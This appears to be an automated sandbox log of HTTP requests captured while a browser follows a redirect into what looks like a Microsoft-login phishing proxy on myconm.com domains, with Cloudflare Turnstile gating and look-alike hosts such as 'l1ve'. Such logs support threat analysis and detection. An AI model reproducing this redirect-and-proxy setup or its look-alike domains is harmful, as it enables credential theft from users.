Source: global traffic	HTTP traffic detected: GET /.well-know/cd/re/rdrct.php?code=hdjrmfheyskfyrdGVzdEBnbWFpbC5jb20%3D HTTP/1.1Host: ameninternazionale.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://ameninternazionale.org/.well-know/cd/re/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=2751027388f5ab72f265578dd5215654
Source: global traffic	HTTP traffic detected: GET /.well-know/cd/re/sts.php HTTP/1.1Host: ameninternazionale.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=2751027388f5ab72f265578dd5215654
Source: global traffic	HTTP traffic detected: GET /?qe=3RVg HTTP/1.1Host: offcap.myconm.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ameninternazionale.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.6.0/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /files/icons/2796/metro_uinvert_dock/64/microsoft_new_logo_alt.png HTTP/1.1Host: findicons.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/3.6.0/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/xb30u/0x4AAAAAAAz81HM6AHANCtc4/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fic/images/icons/2796/metro_uinvert_dock/64/microsoft_new_logo_alt.png?ref=findicons HTTP/1.1Host: images.freeimages.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef6ca8f8eb542b2&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/xb30u/0x4AAAAAAAz81HM6AHANCtc4/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/xb30u/0x4AAAAAAAz81HM6AHANCtc4/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fic/images/icons/2796/metro_uinvert_dock/64/microsoft_new_logo_alt.png?ref=findicons HTTP/1.1Host: images.freeimages.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef6ca8f8eb542b2&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: offcap.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://offcap.myconm.com/?qe=3RVgAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/229150693:1733764372:1Vm_HqExEuCYrHrKbLx421CcUDMOvlx4T7bCqGuy2i4/8ef6ca8f8eb542b2/r3GJ4_A152EC8qp39ln_Z9EC_KemNmwazh6UB0lpyxE-1733766141-1.1.1.1-nQxGVFeYLVUC.NVgYp4gG1F7O_IhbWZmZV82zspKiHyXomE6Mct38w1.jXhk_pFw HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/8ef6ca8f8eb542b2/1733766145524/089324410dbdf74386b787908899f8f848ed1d8d89bb6b3e56936f9ce32c8be9/UDLw0pNuMHcnTL9 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/xb30u/0x4AAAAAAAz81HM6AHANCtc4/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8ef6ca8f8eb542b2/1733766145528/q8Z6Lw0ZA8dnFtz HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/xb30u/0x4AAAAAAAz81HM6AHANCtc4/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/i/8ef6ca8f8eb542b2/1733766145528/q8Z6Lw0ZA8dnFtz HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/229150693:1733764372:1Vm_HqExEuCYrHrKbLx421CcUDMOvlx4T7bCqGuy2i4/8ef6ca8f8eb542b2/r3GJ4_A152EC8qp39ln_Z9EC_KemNmwazh6UB0lpyxE-1733766141-1.1.1.1-nQxGVFeYLVUC.NVgYp4gG1F7O_IhbWZmZV82zspKiHyXomE6Mct38w1.jXhk_pFw HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/229150693:1733764372:1Vm_HqExEuCYrHrKbLx421CcUDMOvlx4T7bCqGuy2i4/8ef6ca8f8eb542b2/r3GJ4_A152EC8qp39ln_Z9EC_KemNmwazh6UB0lpyxE-1733766141-1.1.1.1-nQxGVFeYLVUC.NVgYp4gG1F7O_IhbWZmZV82zspKiHyXomE6Mct38w1.jXhk_pFw HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?qe=3RVg HTTP/1.1Host: offcap.myconm.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://offcap.myconm.com/?qe=3RVgAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: 6d700e25-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://offcap.myconm.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /0e591a278ea443c18aa44fdb64cfa07a/ HTTP/1.1Host: offcap.myconm.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://offcap.myconm.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="Sec-WebSocket-Key: VX/caWE8nSqL+x0r11Ne9A==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /?qe=3RVg&sso_reload=true HTTP/1.1Host: offcap.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://offcap.myconm.com/?qe=3RVgAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: 6d700e25-0e591a27.myconm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://offcap.myconm.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_i5YupurhQAo9inu_OetqHw2.js HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://offcap.myconm.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://offcap.myconm.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: l1ve.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_i5YupurhQAo9inu_OetqHw2.js HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /0e591a278ea443c18aa44fdb64cfa07a/ HTTP/1.1Host: offcap.myconm.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://offcap.myconm.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1Sec-WebSocket-Key: SNdymVN/YoAfMqPrBKkluw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1Host: cd092d4c-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
Source: global traffic	HTTP traffic detected: GET /Prefetch/Prefetch.aspx HTTP/1.1Host: aa45faf7-0e591a27.myconm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://offcap.myconm.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: EAK7TQ="MGU1OTFhMjctOGVhNC00M2MxLThhYTQtNGZkYjY0Y2ZhMDdhOmY3M2Y4ODg1LThlYWItNDIzYi04MWYxLTM4NTgyNmU3MzYzOA=="
